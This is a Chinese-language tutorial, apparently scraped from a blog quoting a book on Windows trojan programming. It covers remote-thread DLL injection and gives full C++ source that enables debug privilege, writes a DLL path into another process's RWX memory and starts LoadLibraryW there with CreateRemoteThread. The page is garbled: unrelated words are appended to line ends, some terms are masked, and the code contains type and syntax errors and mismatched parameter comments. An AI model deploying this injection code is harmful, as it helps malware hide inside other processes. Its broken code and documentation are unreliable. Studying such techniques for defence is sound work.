Windows編程之《遠線程注入技術》
近年來,全球大規模爆發勒索病毒和挖礦病毒,讓沉寂許久的***技術,又從新回到了人們的視野中。Windows操做系統市場佔有率高達90%以上,因此面對勒索病毒、挖礦病毒,Windows用戶首當其衝。 爲了揭開病毒***的神祕面紗,更好地服務於信息安全,本書總結並剖析了常見的Windows***編程技術,用通俗易懂的語言介紹了用戶層下的Windows編程和內核層下的Rootkit編程。
【遠線程注入技術】概念
遠線程注入技術指是:一個進程在另外一個進程中建立線程的技術,是一種病毒***程序所青睞的注入技術。ios
經常使用函數
一、OpenProcess函數(打開現有的本地進程對象)
HANDLE OpenProcess(
DWORD dwDesiredAccess, // 訪問進程對象
BOOL bInheritHandle, // 進程建立的進程將繼承這個句柄:TRUE
DWORD dwProcessId // 打開的本地進程的PID
);編程
二、VirutalAlloc函數(指定進程的虛擬地址空間內保留、提交或更改內存的狀態)
LPVOID VirtualAlloc(
LPVOID lpAddress, // 過程的句柄
SIZE_T dwSize, // 指定要分配頁面所須要起始地址的指針
DWORD flAllocationType, // 內存分配類型
DWORD flProtect // 要分配的頁面區域內存保護
);windows
三、WriteProcessMemory函數(指定的進程中將數據寫入內存區域,要寫入的整個區域必須可訪問,不然操做失敗)
BOOL WriteProcessMemory(
HANDLE hProcess, // 要修改的進程內存的句柄
LPVOID lpBaseAddress, // 指向指定進程中寫入數據的基地址指針
LPCVOID lpBuffer, // 指向緩衝區的指針,其中包含要寫入指定進程的地址空間中的數據
SIZE_T nSize, // 要寫入指定進程的字節數
SIZE_T *lpNumberOfBytesWritten // 指向變量的指針,該變量接收傳輸到指定進程的字節數。
);安全
四、CreateRemoteThread函數(在另外一個進程的虛擬地址空間中建立運行的線程)
HANDLE CreateRemoteThread(
HANDLE hProcess, // 要建立線程的進程的句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 指向SCURITY_ATTRIBUTES結構的指針,
SIZE_T dwStackSize, // 堆棧的初始大小、以字節爲單位
LPTHREAD_START_ROUTINE lpStartAddress, // 指向由線程執行類型爲LPTHREAD_START_TOUTINE的應用程序定義的函數指針,
LPVOID lpParameter, // 指向要傳遞給線程函數的變量的指針
DWORD dwCreationFlags, // 控制線程建立的標誌
LPDWORD lpThreadId // 指向接收線程標識符的變量的指針
);ide
【遠線程注入技術】實現原理
遠線程注入DLL之因此稱爲遠線程,是因爲它使用關鍵函數CreateRemoteThread來在其餘進程空間中建立一個線程。那麼,它爲什麼可以 使其餘進程加載一個DLL,實現DLL注入技術。函數
【遠線程注入源代碼】
#include <windows.h>
#include <iostream>
using namespace std;ui
DWORD threadInject(WCHAR dllpath, DWORD pid)
{
int t = sizeof(dllpath);
//先激活權限
HANDLE hToken;
LUID newLuid;
TOKEN_PRIVILEGES tr;
tr.PrivilegeCount = 1;
tr.Privileges->Attributes = SE_PRIVILEGE_ENABLED;
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &newLuid);
tr.Privileges->Luid = newLuid;
AdjustTokenPrivileges(hToken, FALSE, &tr, sizeof(tr), 0, 0);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, NULL, pid);
//獲取進程句柄
if (hProcess == 0 || hProcess == INVALID_HANDLE_VALUE)
{
printf("建立遠線程失敗\n");
CloseHandle(hToken);
return 0;
}
//申請內存存放參數
LPVOID p = VirtualAllocEx(hProcess, 0, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!p)
{
printf("建立遠線程失敗\n");
CloseHandle(hProcess);
CloseHandle(hToken);
return 0;
}
//寫參數
if (!WriteProcessMemory(hProcess, p, (LPVOID)(dllpath), sizeof(WCHAR) (wcslen(dllpath)+1), NULL))
{
printf("建立遠線程失敗\n");
VirtualFreeEx(hProcess, p, 0x1000, MEM_FREE);
CloseHandle(hProcess);
CloseHandle(hToken);
return 0;
}
//建立遠程線程並執行LoadLibraryW加載dll
HANDLE cThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)(GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "LoadLibraryW")), p, 0, 0);
if (cThread == 0 || cThread == INVALID_HANDLE_VALUE)
{
printf("建立遠線程失敗\n");
VirtualFreeEx(hProcess, p, 0x1000, MEM_FREE);
CloseHandle(hProcess);
CloseHandle(hToken);
return 0;
}
//5.等待線程結束返回,釋放資源
WaitForSingleObject(cThread, -1);
CloseHandle(cThread);
CloseHandle(hProcess);
CloseHandle(hToken);
printf("建立遠線程成功\n");spa
return 0;
}操作系統
int main() {
DWORD pid;
wstring str = L"C:\Users\97905\source\repos\RemoteInjectDll\Debug\RemoteInjectDll.dll";
cout << "輸入pid" << endl;
cin >> pid;
//RemoteThreadInject(pid);
threadInject((WCHAR*)str.c_str(), pid);線程
return 0;
}